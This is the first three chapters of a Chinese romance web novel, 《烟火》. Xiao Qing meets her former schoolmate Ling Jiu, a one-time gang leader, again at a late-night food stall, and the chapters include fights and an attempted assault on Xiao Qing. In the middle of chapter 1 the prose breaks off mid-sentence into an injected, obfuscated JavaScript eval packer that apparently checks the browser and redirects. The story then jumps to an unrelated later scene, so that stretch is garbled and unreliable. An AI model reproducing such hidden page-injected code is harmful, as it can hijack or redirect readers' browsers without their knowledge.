《烟火》 1. 第一章 凌晨一点。 热闹的街道如今早已变得空荡荡,连路过的汽车也只剩下零零星星的一两辆,在昏黄的路灯照耀之下,一切都是那么宁静。 “阿嚏!” 萧清刚刚走出公司便撞上一股冷风,让她忍不住打了一个喷嚏。身穿一套职业短裙的她不禁拢了拢身上的外套,拉上了拉链。早上还是炎热的秋天,晚上却比她想象得还要寒冷许多。 作为公司的组长,她本不应该那么晚离开,但是最近她的小组接了一份重要而紧急的工作,不容有任何失误,本就认真负责的她,更是放心不下,修修改改不知不觉之间,她竟忘记了时间,更忘记她的晚饭。 “咕咕——” 肚子传来不争气的声音。 萧清按着自己肚子,似在抚慰来自饥饿的抗议,本就离家近的她决定先去找一家店,好好吃一顿夜宵,来犒劳自己今天的努力。 听阿月讲,附近有一家叫广宁人家味道还不错,不知道现在还有没有开着? 她从口袋里面掏出手机,点亮屏幕,输入“广宁人家”四个字,德德地图上很快显示出它的方位,距离附近只有500米,上面几个绿色大字写着——营业中。 很快,萧清按照导航,一路小跑来到心心念念的广宁人家,她却傻眼了。 这与她想象的饭店几乎是一个天一个地,在她想象里面,这应该是一间装修简单而干净,服务亲切,菜品美味而丰富的饭店。 现在,在她面前的却是一家大排档,甚至是一家露天的大排档,店门口放着十多张铺好的木桌,桌上随便放着包装好的碗筷以及一壶浓茶,一壶用塑料茶壶装着的浓茶。 那么一家店,此时却几乎坐满了人,每一桌的男男女女围在一起,喝啤酒的,讲笑的,玩骰子的,打扑克的,每一个人都是一幅高谈阔论的样子,仿佛坐在这里一个个都是大老板,谈论得都是几百万的生意。 这家店,做的东西,真的好吃吗? 萧清停了下来,望着这家店,心里暗暗决定还是回家吃海鲜泡面的好,正当她转身要走的时候,却飘来一股无比具有诱惑力的气味,烤羊肉的焦味混合着孜然粉的味道,瞬间在她的全身炸开,她能听见自己的肚子发出更大更重的抗议。 她忍不住咽了口水,不得不承认,这些做的菜真的很有烟火气。 最终,她决定试一试这家店,说不定没有自己想的那么不堪,做人不能只看外表! “你好,多少位?坐这里吧。” 一位身穿橙色马甲的服务员迅速迎了上来,将她引到一张还算干净的桌子,最重要的是相比其他,这张桌子的位置在角落边,相对来说要显得安静许多。 “一位。” 服务员听到之后,扔下一张还不算单薄的菜单,迅速收起其他多余的碗筷杯子,“想好了,举手就行。” “好。” 萧清坐下后,便看向厨房,这家大排档连厨房都透明可见,橱窗上还写着:既会做鸽,又会做鸭。横批:鸡最好吃。果不其然,橱窗上挂着烧鸡,烧鸭,还有烧鹅,只是还时不时滴下油汁。 厨房里只有一位厨师,甚至没有戴口罩,只有戴着一双油腻腻的手套表示自己还是会卫生做菜的。这样子的一家店,竟没有一个客人投诉,甚至在场的所有人吃得津津有味。 她收起目光,仔细用热水烫了烫食具,她始终接受不了这里的环境,这样子做,多多少少能让她的心放松一下。 她忽然发现,这里根本没有地方给她倒水。 她观察了一下其他人的做法,真的是简单粗暴——直接泼在地面上。萧清只能叹了口气,也跟着倒在地上,心想:大排档,还真的挺接地气。 她随意翻了翻菜单,看了几眼之后,她忽然超级想吃云吞面,可惜这里只有炸云吞。 为什么一家店明明有炸云吞,有炒面,却不做云吞面,这也太奇怪了。 就在她胡思乱想的时候,一个戴着蓝色口罩,束着头发的服务员悄然来到她的身旁,她轻轻咳嗽,“请问,想到吃什么了吗?” “一个小份的炸羊排,一碗肉片粥,暂时就这些吧,谢谢。”萧清合上菜单。 “那,你有什么戒口吗?” “什么?” “你有什么戒口吗?”那是一股柔软而温柔的声音。 这家店服务那么好的吗?还,还可以按照要求来做菜?怪不得阿月会大力推荐…… “那个,我想问一下。” “你说。” “你们这里有云吞面吗?我想吃云吞面。” “你喜欢什么馅的?” “我想吃猪肉的,最好里面加点马蹄,这样子会爽口一点,还有肉可以多一点吗?” “汤呢?是需要浓汤还是清汤?” “浓汤吧,我喜欢有味道一点的。既然可以点云吞面,那我就不要肉片粥。” “好,你先坐会儿吧,很快就可以吃了。” 萧清望着这个女人逐渐远去的背影,忽然发现,她是这里最年轻的一个服务员,其他的都已经是大妈的年龄,她看上去却好像只有二十多岁,而且她的语气跟最开始那一位,跟她见过的所有服务员的都不一样,她的语气就好像跟朋友对话一样,真是奇怪的人。 萧清的目光不知不觉之间便已经落在这个女人的身上,她并没有把写下的菜名交给前台,反而自己走进了厨房,占领其中一个灶头,然后认认真真地洗干净自己的手,不仅加了洗手液而且还是按照小学教过的七步洗手法来清洗。 她……也是厨师吗? 女人刚好也抬头,两个人的目光在这一瞬间接触在一起,萧清看着那双眯起来的眼睛,即便戴着口罩看不到她的脸,她敢打赌,那个人一定是在向自己微笑。 就在她疑惑之际,女人已戴好了新的手套,从一旁拿出猪肉,一遍一遍地用清水冲洗,最后放到一个看上去几乎全新的绞肉机里面,将猪肉绞成肉泥,再混入雪白的马蹄丁,萧清忽然觉得,那马蹄应该很甜,很爽口。 不知不觉间,萧清已听不见一旁的喧闹声,更没有再注意所处的环境,她的眼里只剩下那一双手,那双洁白的手,这双手此时正捏着一个又一个小云吞,然后将它们放沸腾的清汤里面,接着抓起一把面,小心翼翼地放入另外一个锅里,两边同时煮的时候,她又摸出一个淡粉色的碗,先用热水烫一遍,云吞、汤汁、淡黄色的面条,接连有序地导入碗中,最后撒下一点青绿色的葱花点缀。 “你的云吞面,看看好吃不?” 女人端着亲手做的云吞面,端端正正地放在萧清的面前,云吞的香气迎面扑来,让萧清瞬间食指大动。 萧清拿起筷子,轻轻夹起面条,轻轻呼气,然后放入口中,面条不仅筋道十足,而且居然完全吸收了用海鲜熬成的汤,仅一口,鲜味在咀嚼的过程之中,瞬间炸开,她从未想过街边一碗简简单单的云吞面居然可以做到这种层次,这比她吃过的任何一家都要好吃。 她再夹起云吞,薄薄的面皮包含着呼之欲出的肉馅,看上去虽多,却能完美包裹着,哪怕夹起来也完全没有要裂开的预兆,她忍不住放入口中,却被烫得吐了出来。 “好烫!” 她吐着舌头,拿起一旁的水杯,轻轻抿了一口。这时候,萧清才回想起来,刚刚她好像在问好吃不好吃,自己好像还没有回答。 “蹭”地一下,她的脸红得像一个熟透的柿子,头仿佛机器人一样一卡一卡地缓慢转过去,尴尬地开口说:“很好……咦,人呢?” 萧清左顾右盼,想找到那个女人的身影,想亲口跟她说一声,很好吃,但是无论哪里,都找不到她,仿佛一只精灵,惊鸿一瞥,便消失于夜空之中。 唯独云吞面,仍在。唯独,这一份美味,仍在。 “哟!美女,我们大哥想请你去那边喝一杯。” 一个染着黄毛的男人自说自话地走了过来,表情轻浮地令人作呕,他伸手指了指一旁坐在一群看上去像混混的男人中间的胖子,“美女赏点脸如何?今晚消费,我们大哥说了全包!” 萧清脱下外套,严严实实地遮挡包裹自己的膝盖,她已经发现那胖子正在用一种下流的眼神赤裸裸地盯着自己的腿,晚上好不容易攒下的好心情立刻一扫而光。 萧清的脸一瞬冷了下来,昂头挺胸,一把推开男人的手,冷漠地说:“不用。我不认识你们。” “害,美女,别扫兴嘛,喝着喝着不就认识了嘛?”男人还不愿意放弃,反而笑着扬起手中的啤酒瓶。 “我说了,不用。”萧清站了起来,已准备离开,“果然,不应该来的。” “喂,你这样子就是不给面子咯!” 一旁的混混也站了起来,黑压压地围在萧清面前,挡住她的去路,有些人手中还反握着酒瓶,仿佛只要一声令下,这些酒瓶就会朝自己头上砸下来。 “诶,别吓着人家美女。” 胖子慢条斯理地坐在萧清对面,点燃一根烟,吐出一口难闻的白烟,甚至还有一些呻吟声恶心在从他口中蔓延而出,“我们只是想跟你做一个朋、友。” “朋友”二字说得尤为缓慢,其中调戏之意不言而喻。 “你们想怎么样?”萧清倒吸一口凉气,只能重新坐了下来,“再过来的话,我就大喊了。” “喊?”那个黄毛男人咧嘴嘲笑,大声喊叫:“喂喂!这女人说喜欢我大哥,说想陪我大哥喝酒!” 在座的竟没有人站起来帮忙,还有人吹起口哨鼓掌,只有一个服务员冲进去了后台。 “我们不想怎么样,赏面喝杯酒如何,美女?”胖子再次开口,接过小弟递过来的啤酒,推到萧清面前,“一口喝完,我就放你走。” “好,喝就喝!” 萧清如今也别无选择,她的酒量也不至于差到只喝一瓶啤酒就醉,只能硬着头皮拿起酒瓶,“你别出尔反尔!” 只见,她举起酒瓶,一口一口地往嘴里倒入那金黄的啤酒,众人还时不时在一旁起哄,胖子却与黄毛打了眼色,黄毛心领神会,嘿嘿一笑,往酒瓶上用力一拍,这一动作让萧清心中一惊,一手没拿稳,啤酒瞬间洒在自己白色的衬衫上。 这才是,这群人真正的目标。 曼妙的曲线在湿透的衬衫上一览无余,其中隐隐透出的淡黄色更是让这群人喉咙干渴。 “啪!” 绿色的酒瓶在夜空之中瞬间炸开,无数碎片四处纷飞,犹如一只一只飞舞的萤火虫。 血,鲜血的血,喷涌而出。 这些人的大哥,那个胖子如今已经被死死按在桌子上,无论他怎么反抗,都无法挪动一分一毫,只能发出毫无意义的痛苦哀嚎,只能任由鲜血浸湿黄色的桌布。 在场却无一人敢动——破碎的酒瓶近在咫尺,再前进几厘米便要直刺入他的眼睛。 “我的人,你都敢动,你是不想活了?” “你他妈谁啊?青龙帮都敢动!” “我,你他妈都不认识,就敢在这里搞事!”女人一把揪起胖子的头发,疼得哇哇大叫,“滚!” 女人一脚踹到胖子的屁股上,让他结结实实给在场所有人表演了个狗吃屎,刚才还在起哄鼓掌的人,如今却鸦雀无声,所有人都只能低着头吃着东西,不敢再抬头,表情惊恐得像吞下一整只死老鼠。 小弟们哪里见过这种情况,赶紧扶起自己的大哥,一个一个却纷纷腿软手软,连续扶了好起来,才扶起胖子,但是却没有一人敢骂出声来。 “停!”女人一声吆喝,“一共五千,给完钱再给我滚!” “我们分明只吃了五百……”黄毛刚想反驳,看见女人手中只剩下一半的玻璃瓶,硬生生把后面的几句粗话吞了回去,只能乖乖掏出口袋里的钱,却只有两千块,还差三千,“大……大哥……还差三千。” “他妈的,你他妈的。”胖子破口大骂,摸出三千钱扔在地下,“吃狗屎的东西!” 女人听到后,咬牙切齿,嘴角混怒得不停抽动,一手把手中的酒瓶扔了过去,“今天不给姑奶奶我道歉,你们他妈别想走!” “好,好,好汗不吃眼前亏!”胖子哪里还敢向前,朝天大喊:“对不起!我们走!” 看着那群不知好歹的小混混离场,女人马上转身看向萧清,可哪里还有萧清的影子,桌面上只剩下两张红得发亮的百元大钞和一碗还没有吃完的云吞面证明她曾经存在过。 一行淡淡的清泪,悄然滴落在桌面上。 女人刚才脸上的神气与愤怒已然褪去,只剩下伤心和难过,她不再是刚才喊打喊杀的大姐头,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别TM给我废话,这回老子得好好解一下那个八婆的晦气!”胖子捂着头,疼痛仍然在他脑中炸开,正是这样,他看向萧清的眼神更残暴,更下流,尤其是那一双修长的黑丝长腿,他已经迫不及待想要撕开,“行了,就这里吧,这里没有监控,做了也没有人可以发现。” “那我们……”黄毛没有往下说,眼神却死死盯着那呼之欲出的胸脯,口水简直都要流出来,“这真是一个极品啊。” “呵,滚开!”胖子挺了挺腰板,“等一下会轮到你们的!” “你说,轮到谁!” 一股不应该出现的声音,一股愤怒至极的声音,一股女人的声音。 “谁!” 胖子惊慌地看向声音传来的方向,只见路灯下站着一个女人,嘴里叼着一根几乎燃尽的香烟,眼里尽是不屑与愤怒,她的五指紧紧握在一起,噼里啪啦的声音在关节中一点一点传来,在这寂静的深巷之中犹如雷电般响亮。 “我,凌酒。”女人一口把香烟吐在地上,用脚狠狠踩灭,“这条街,我罩的。” “罩”字还没有说完,她的拳头已冲进这群黑压压的小弟中央,出手没有任何多余的动作,目标准确而狠毒,直冲向这群男人的裆部。 “啊啊啊啊啊啊——!!!” 惨叫声响彻这条巷子,刹那间已有三四个混混躺在地上,满脸冷汗,撕心裂肺地死死护着自己的裆部。管不住裆部的人,本就会有如此下场,这本是最简单的道理,可是,他们似乎从来都不懂。 “你……你……到底是谁!”胖子吓得已跌落在地,“难道……难道……你就是那个女儿红?!” 一听见“女儿红”这三个人,所有人都本能地后退几步。他们当然不是第一天出来混的,关于江湖上的传说,他们更是早已听遍,什么人能惹,什么人不能惹,他们比任何人都要清楚。 其中“女儿红”这个名字,更是传说中的传说。 传说,女儿红出来混的时候还只是一个初中生,打起架来却比任何一个男人都狠,都不要命,下手专挑身体最痛处,一击即倒,毫不留情,故而人送外号“女儿红”! 仅短短两年时间,她便打遍天下无敌手,从一个籍籍无名的打手升为称霸一方的大姐头,无论是哪一个叔父都要给她几分薄面,只是这样子的一个大姐头,却在风头最盛之时消失于江湖之中,没有人知道她的去向。 她所创立的红花会仍在江湖中屹立不倒,如今也早已洗白发展成涵盖房地产、饮食以及娱乐的飞鸿集团,而这个集团的幕后话事人,据说便是曾经红花会的二把手——赵飞霞。 谁也不会想到,那个红姐,都市传说般的存在,如今竟活生生出现这些小混混面前。 “我说过,一个也别想逃。” 凌酒扔下碍事的外套,挥舞着双肩,一条蜿蜒在肩膀以及胸口的黑龙也随之苏醒而来,睥睨一切地盯着面前这些小混混。 一个冲步,凌酒凌空跃起朝着一人的肩膀飞踢而去,谁也想不到这双修长的双腿竟能爆发如此大的力量,“喀嚓”一声,整条肩膀瞬间脱臼。凌空一踢的同时,双手同时抱着另一个混混的脖子,往后一番,将其狠狠往地下一摔,那人再也不省人事。 一眨眼,十几个大男人便如野狗般,七零八落地躺在地上,只剩下黄毛以及胖子跌落在地,死死抱着头,动也不敢动。 “打他。”凌酒一把揪起黄毛的头发,居高临下地看着这个恐惧得连鼻涕眼泪都流出来的男人,“我叫你打!” “啊啊啊啊!” 黄毛的拳头如雨点一般,狠狠砸在胖子的后背上,他已完全丧失思考,哪怕凌酒让他吃屎,他也会马上去舔,像他这样子的人,本就吃软怕硬。 胖子哪里遭得住这些不要命的拳头,一口鲜血吐出,便已晕倒在地。 “警察来,你就说是你做的,懂?”凌酒重重拍打着黄毛的脸,“说,谁做的!” “我……我做的……”黄毛跪倒在地,这个人已成了一团烂泥。 “很好。”凌酒勾唇一笑,“狗就要有狗的样子!” 2. 第二章 天花板。 熟悉的天花板。 萧清再睁开眼,映入眼帘的是再熟悉不过的天花板,那股熟悉感,让她紧绷的心,终于落回实处,生出久违的安全感。 “啊……我是怎么回来的?”萧清迷迷糊糊自言自语。 “你……” 凌酒的“你”字刚刚说出口,萧清的膝盖已经迅猛地抬起,幸好凌酒反应迅速,及时用手挡住,可下一秒,一记掌风横拍而来—— “啪。” 清脆声响在房间里炸开。 凌酒跌落在床,一只手根本捂住那已变得通红的左脸,侧头望着床上正慌乱摸索全身的萧清,眼神之中充满着哀怨与委屈。 如果,萧清愿意看凌酒一眼,她一定会发现这时候的凌酒就好像一只被人遗弃的小猫,可惜自始至终,这一眼都没有落在凌酒身上。 “我……我的……”萧清捂住胸口,猛地意识到这里不是自己的家。更让她浑身发僵的是,身上内衣早已不见,只剩下一套宽松睡衣。 愤怒一点点被恐惧啃噬,声音越缩越小,眼泪终于一滴滴掉落。 “难道……难道……” 凌酒坐在床边,轻声说:“没有,是我帮你换的衣服。我……你看看我,我也是一个女人。” 萧清泪眼朦胧,眼前只剩下一团模糊的白影,“你……你到底是谁?” “你……”凌酒低下了头,“你……不记得我了吗?” 萧清擦了擦眼泪,睁大双眼打量着面前的女人。 长发如瀑,垂落遮住半边泛红的脸,只一件宽松的白色T恤,领口松松解开两颗扣子,一双长腿随意搭在床边,小巧的脚趾不安地互相蹭着。 欲抱琵琶半遮脸,美得惊心动魄。 萧清发誓自己已经从小学开始到大学,到现在工作所见到并且记得的人,通通都回忆了一遍,她对自己的记忆力一向很自信,可不管哪一张脸,都与面前这个女人对不上号。 “不好意思,我真的不认识你。”萧清抱起膝盖,蜷缩在床头,先前那群人带来的阴影仍挥之不去,她只想快快洗个热水澡,检查一下自己的身体,“我想借一下你的浴室,可以吗?” “好。” 阳台。 秋风如刀,刺骨地刮在凌酒身上的每一处,无情地夺去她心头仅剩的一份温暖。 “啪哧。” 凌酒打开一罐啤酒,整个人躺在沙滩椅上,抬头望着这夜空,偏偏今天的满天繁星美得惊人,她朝着这星空举杯,仿佛在与命运干杯,赞美那出色的捉弄。 苦涩的酒液缓慢地从喉咙一路流淌到胃,冰冷从上至下蔓延至全身,最后只换来一阵尖锐的抽痛,逼迫着身体的主人停止。 可,偏偏,凌酒并没有停下来。 她只是点起了一根烟,微弱的火光在黑夜之中一闪而过,就在这一瞬的亮光,凌酒的目光落在一旁桌子上放着的一张图画,也许是漫画。 白纸上,是一道高大厚重的城墙,砖纹清晰。城墙之上悬着一轮巨大的弯月,月光之下没有士兵,只有一个占满整个左上角的酒壶,奇怪的是这个酒壶却被打了一个巨大的叉,像是画错一般。而城墙之外,是遍地的菊花,火光之下,那鲜艳的□□栩栩如生。 “考考你,我画的是什么?” “不知道。” “你都还没有看,你怎么知道你不知道?” 一根青葱般的手指朝凌酒的腰部戳去。 凌酒最怕痒,这件事情萧清比任何人都清楚。 趴在桌上补眠的凌酒像一只被挠刺的猫一样浑身抽动着,而一旁的萧清总是捂着嘴小声偷笑。凌酒并不讨厌她的笑声,她讨厌的是为什么这个人总是要逼她做一些不喜欢的事情,就因为老师一句多监督她学习吗? 凌酒眯着眼看向萧清手中的那一张莫名其妙的图画,“酒壶?打叉?是是是,在宿舍喝酒是我不对,下次我不喝就是。” “不是!”萧清伸手弹了弹她额头上压出来的红印子,“这是一首古诗。” “还有诗人不喝酒吗?”凌酒闭上眼睛,她实在很困,甚至已经在思考要不要把上午的课翘掉,找个地方睡大觉算了,“你不是说,诗人很多都是酒鬼嘛?就是因为他们不得志,所以就喜欢喝酒发泄。” “咳咳!”萧清红着脸,挺了挺腰板,“这些你倒不用记得那么清楚!” “哈欠~”凌酒强忍着困意,勉强睁开眼,“所以,这是谁的诗?” “强欲登高去,无人送酒来。遥怜故乡菊,应傍战场开。” 一字一句,节奏分明,感情饱满。 若是老师在场,必定忍不住鼓掌。 可惜,眼前只有一个困得要死的懒虫。 “你猜猜是谁写的?” “不是我。” “再猜!我们最近学的!” “又战场又菊花的。”凌酒挠了挠当年短得像男生的头发,“肯定不是李白,最近学的……又喜欢打仗……” “嗯,方向对的,加油!”萧清一脸期待。 “人……人参?” 凌酒试探性地回答,仅一瞬她就已经后悔了。因为笑容逐渐从萧清脸上消失,此刻的她双眉横飞,眼中尽是怒火,很显然自己的回答距离正确答案一定有十万八千里那么遥远。 “哈哈哈哈哈哈哈哈哈哈哈哈!” 整个课室瞬间哄堂大笑,到处洋溢着一副快活的氛围。 “好了好了,萧清算了吧,老师都教不会她,你何德何能啊?”坐后面的女生戳了戳萧清的后背。 “岑参。”凌酒闭上眼睛,绞尽脑汁思考,“行军……行军九日……思长安故园。” “诶,你还真会啊。”后面的女生吐槽。 “阿月,我跟你讲,其实她很厉害的,只是懒。”萧清一边温柔地抚摸着凌酒那柔软得如羽毛的头发,一边语重心长地对坐后面的阿月说。 “你现在说话的语气好像我的妈妈,有点恶心。”阿月收起了手,靠在椅子上。 “所以,如果你能看着这幅画背出来的话,我就继续给你画。”萧清对凌酒说,“不过,时间仅限今天。” “我对漫画不感兴趣。”凌酒拨开了她的手。 “那你枕头底下的……” 凌酒听到后瞬间整个人弹了起来,困感一扫而空,整个人清醒得不能再清醒,脸“蹭”地一下全红,赶紧伸出手捂住萧清的嘴巴,“我背,我背还不行吗?” “等一下,她枕头底下有什么?”阿月嗅到了八卦的气味,竖起耳朵一脸兴奋地吃瓜。 “没……没有,什么都没有!” “啊这,很明显在说谎!我今晚再偷偷问阿清~”阿月指着一脸慌张的凌酒。 “你敢!”凌酒指着萧清的鼻尖,“你敢告诉任何一个人,我非饶不了你!” “好,好,我不说,我谁都不说。”萧清做了一个鬼脸。 “诶,你们怎么那么多小秘密!”阿月在一旁抗议,“我们不是一个宿舍的吗?!” 凌酒一把拉过萧清,凑到她耳边,声音又轻又慌:“少女漫画……你怎么知道的?” “你背出来,我就告诉你。” “强欲登高去,无人送酒来。” 讽刺的是,自己如今的酒多得足够独自喝到天亮,正如这忆不尽的往事,忘不掉的人。 凌酒闭上双眼,喉间发涩。 “你是……凌酒?” 身后却传来熟悉的声音,一如当年。 “萧……萧清。” 凌酒浑身一震,整个人差点摔倒在地,赶紧把手中的烟头扔在啤酒罐之中,然后手忙脚乱地把罐子塞在身后,另外一只手不断挥动着空气,希望这该死的烟味可以更快散去。 萧清走到了她的旁边,“别藏了,我看见了。” “本来已经戒了。”凌酒解释着,“只是偶尔,真的只是偶尔。” “我早该想到是你。只有你,可以做到一个打十个。”萧清趴在栏杆上,洁白的月光落在她的眼里,闪闪发光,“只是,你头发变长了。我一直还记得你短发时候的样子,没有想到你现在比我还要有女人味。” 凌酒站在萧清旁边,保持着不近也不远的安全距离,“人,总是会变的。” “谢谢。” “不……不用谢。”凌酒双手交叉放在身后,眼睛低垂,“我应该的。” 萧清忽然开口,“刚才,你是不是在念诗?” “没有,你听错了。” 萧清捏了捏喉咙,清了清嗓子,“强欲登高去,无人送酒来。遥怜故乡菊,应傍战场开。” 语气,动作,节奏,甚至感情,一如当年。 “别骗我了。”萧清转身拿起桌面上的图画,“我还以为当年给你寄的东西,你都扔了。” “怪好看的,扔了可惜。”凌酒仰头望着夜空,不敢看她,“你要的话,就……就拿回去吧。” “那……我真拿走了?”萧清抓紧手中的画,眼里却是凌酒那傲娇的样子,忍不住痴痴笑了起来,“明明就舍不得,那么多年了,真舍得你就不会用塑胶封起来了。” 凌酒咬着唇,心跳几乎撞碎胸膛。 那句藏了好多年的话,不受控制地冲出口:“我们……重新在一起吧?” 萧清听不见凌酒的心跳,她只听得见自己的心跳声。 咚咚咚。 如擂鼓一般。 她能感觉到她曾经以为永远埋藏的感情又重新冒了出来,如雨后春笋,仅一瞬便把她刚才的恐惧惊慌给驱散,只剩下喜悦。 这一份独一无二的喜悦与满足,任何东西,任何人都无法给予。 这是,专属于凌酒的感情。 从一开始,便已经埋下了根。 “我不懂,一群男生打篮球有什么好看的?” 萧清坐在操场的石凳上,看着满头大汗的男生莫名其妙在追着一个球跑来跑去,尤其在这个连一点儿风都没有的大夏天,汗臭味几乎能飘过来。 “不是,你没有发现,那个三班的男生好帅吗?”阿月指着个子最高,脸最白的男生说。 话音刚落,那个男生刚好投中了一个三分 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萧清从来都是兼顾两边的人,并且,她兼顾得很好。 “我没有无欲无求。”萧清解下发带,想再把那黑色的长发扎得再利落一点,“你们出去玩的时候,我也有一起啊。” “我不是说这个,我就想问问你,你就没有喜欢过任何一个人吗?”阿月推了推眼镜,目光尖锐得像一个八卦记者。 萧清认真思考着这个问题,她清楚如果回答我爱自己的爸爸,爱自己的老师这种忽悠的答案,阿月一定会跳起来打自己的头。 所以,自己到底有没有喜欢一个男生呢? 她几乎要触碰到答案了—— “快看快看!”阿月大力摇晃萧清的手,一脸兴奋地说:“有人踩场!” 萧清的思考被强制打断,她有些不开心,“谁?” 凌酒。 短衣短裤,来势汹汹地踏进了中场休息的篮球场,径直走向刚才投篮的三班男生。萧清听不到他们在说一些什么,只感觉凌酒的眼神十分凶狠,就好像看三班那人不顺眼一样。 “走,快去阻止她。”萧清马上站起来,拉着阿月的手臂就要冲上去,眼神坚定得仿佛马上就要英勇就义,“晚一点就来不及了。” “等一下,你还说你不喜欢!” “不是,我是怕凌酒把那人给揍了。” 萧清太清楚了,凌酒这人,眼里揉不得一点儿沙子。不顺眼的,她就要争,就要管,就要较量。 出乎意料的是,凌酒并没有揍他一顿,而是堂堂正正地用篮球一对一跟他单挑。 篮球在凌酒的手里,仿佛像活了一样,要它怎么跑就怎么跑,可以快得如闪电,也可以化成一个又一个的幌子,只急得那个男生满头大汗,上蹿下跳,任是抢不到篮球。 在场所有人,无一不目瞪口呆,只有萧清打心底为她感到骄傲。 又一个近乎完美的假动作,转身,一步、两步、三步,纵身一跃,动作行云流水,只听见“砰”地一声,凌酒居然完成了扣篮。 “服不服?” 凌酒看着比半头的男人,眼里没有半点害怕,只有不屑,彻彻底底的不屑,她最讨厌这种装模作样的男生。 “算你厉害!”男生虽然很生气,但是一点办法都没有,他清楚无数对眼睛正在看着自己,总不能当场就下手,所以他换了一种语气,低沉而凶狠的语气,“下次别让我看见。” 回答他的,只有一记重拳,迅猛有力直冲腹部。 “啊啊啊啊!” 男生的面容开始扭曲,整个人再也支撑不了,捂着腹部,倒了下去。 “别激动。”凌酒指着准备冲上来的其他男生,“休息半个小时就没事了,放心。” 凌酒穿过人潮,吹着口哨,朝萧清走了过来。 她的心跳,第一次,漏了一拍。 “我们分手吧,当年是谁说的?”萧清强忍下喜悦的情绪,歪着头,装出一脸懵懂无辜的表情,眼中却没有放过凌酒脸上的任何一个表情变化,“在你眼里,我是呼之则来挥之则去的人吗?” 不舍。 伤心。 绝望。 三种感情,在她脸上轮番上演。 最终,只化成一行清泪。 萧清忽然发现,凌酒已经不是当初那个凌酒了,她不仅变美了,更重要的是当年她心中那颗充满尖刺的心脏如今也变得柔软,柔软得一触即碎。 “当我没说。” 凌酒试图擦干着脸上泪水,可越是去擦,便越是止不住再流,豆大的泪珠一颗又一颗掉落在地,她知道这副样子不能再让萧清看下去了,她不愿意再展露那一份毫无意义的柔软。 她转过身,蹲了下来。 “你已经不是当年的你了。” 萧清也蹲了下来,贴在凌酒的后背。 “所以,我想重新再认识你,好吗?” “好。” 萧清伸出手,抱着凌酒,紧紧抱着这个泣不成声的人儿。 3. 第三章 “嗡——” 凌酒推动吹风机的开关,拿起床头的卷发棒,轻轻地吹起萧清微湿的发。她的头发并不长,仅仅到肩。风一吹,细碎的发丝便随风而起,有几缕拂过凌酒的鼻尖,携带着与她同款洗发水的气味,痒痒地,令人心醉。 萧清坐在椅子上,四处张望着,凌酒的房间乱得简直不能用卧室来形容,根本就是一个杂物房。衣服裤子东一件西一件,有搭在椅子上的,有随意扔在角落的;鞋子更是横七竖八,拖鞋,凉鞋,运动鞋,细看根本找不到两只可以正常配对的鞋子。 她扶着额,脸色微黑,在心里默默吐槽——这人到底是从哪儿翻出一件干净白T恤,还有她身上这套睡衣的。 越是细看,萧清越是感觉这个套间的布局跟自己的很像,连灯的外表,光亮都几乎与相差无几,一丝怪异的预感,悄然爬上心头。 “凌酒,这里是锦绣小区吗?” “你怎么知道?”凌酒一脸吃惊,“这里是第五栋902。” “啊!”萧清惊呼一声。 凌酒关掉风筒,问:“怎么了吗?” 萧清深呼一口气,以前她是不相信什么怪力乱神的,但是这一次她不得不承认,这世界真的是那么小,真的是那么巧合,难道这一切都是命中注定吗? “我……住楼下601。” “……” 凌酒的脑子顿时一片空白,此刻她已经暂停了思考,怎么会有如此巧合之事,为什么她从来没有遇见过萧清。 “你搬过来多久了?”萧清问。 “啊……啊……我想想,好像已经四年了。”凌酒掰着手指仔细数了数。 “四年?也就是说,我们已经当了三年邻居,却从来没有遇见过?” “哈哈哈哈哈哈哈哈哈!” 两人不约而同地笑出声,都觉得这大概是这辈子听过最荒诞又最奇妙的事。 “那……我先回去了。” 萧清看了看手表,如今是凌晨3点30分,也就是说她还有大约5个小时的睡觉时间。 “好。” 凌酒嘴上说好,手却一直没有松开,仿佛生怕只要一松开,面前这个她等了多年的女人便会从眼前消失,再也不会回来。 “你是不是觉得,我在骗你?” “是。”凌酒点了点头,“就好像做梦一样,一切都太顺利了,你,真的没有在骗我?” “我的房子在这里,我的工作在这里。”萧清叹了口气,“我没有幼稚到像你当年一样突然消失。” 萧清拉着那双手,面对面坐了下来,她知道有些东西始终是需要解决的,她无法欺骗自己,更无法抑制自己的心。 “我承认,我放不下。”萧清反握着凌酒的手掌,头轻轻抵在她的肩膀,“凌酒,你进去这几年,我的父母带了我去新的城市,开始了新的生活。这些年,我也有过几段感情,我尝试过听我爸妈说相亲,跟男人相亲,可每一段,我都只感觉到恶心。后来我说服了他们接受我的性取向,我开始尝试去找女人,但是等到真正在一起,我才发现,我还是接受不了。” 她继续说:“每一次拥抱,每一次亲吻,我感觉不到一丝幸福,只有发自内心里面的抗拒。” “所以……” 萧清的手指轻轻抵在凌酒的嘴唇上,“我需要时间思考,毕竟从昨天开始,我真的没有想到可以再见到你,凌酒你真的不在我的未来之中。我不知道我们现在合不合适,我也不知道我们会不会有未来。最起码,我不讨厌你。” “好,我懂了。”凌酒松开了手。 “不过,希望下一次最起码自己收拾好房子吧,我可不做你的佣人。”萧清笑了笑说。 萧清的背影逐渐远离,此时的她仍然穿着凌酒的淡紫色睡衣,松松垮垮,总让人心生呵护感。只不过,凌酒并没有选择再冲上去,因为她知道现在的萧清已经不是当年那个柔弱的女生了,她有自己的想法,她有自己的生活,她有自己的未来,她心里仍然有自己,这便已经足够了。 凌酒也笑了,那是一种长久压抑后,终于得以舒展的轻松笑意。 房间里,萧清的房间。 她像一个“大”字一样躺在床上,四肢完全舒展,疲惫感完全涌上心头,可是越是想睡觉,她的头脑却是越清醒。 “凌酒……”萧清轻声呢喃。 她把放在床头的兔子玩偶抱在怀里,全身蜷缩在被窝之中,那本应是黄色绒毛的小兔子也应时间久远而显得有点泛黑,可是萧清依然紧紧抱在怀里,就像守着最珍贵的宝物——这是当年凌酒送给她的第一个礼物。 她缓缓合上双眼,脑海自动浮现出今晚发生的所有一切,就好像电影一样,这不是一部惊悚的电影,因为脑海里面全是关于凌酒的面容,有凶狠的、有害羞的、有委屈的、有伤心的,也有开心的。 她,以前表情那么丰富的吗? 萧清躲在被窝里面,胡思乱想。 薰衣草。 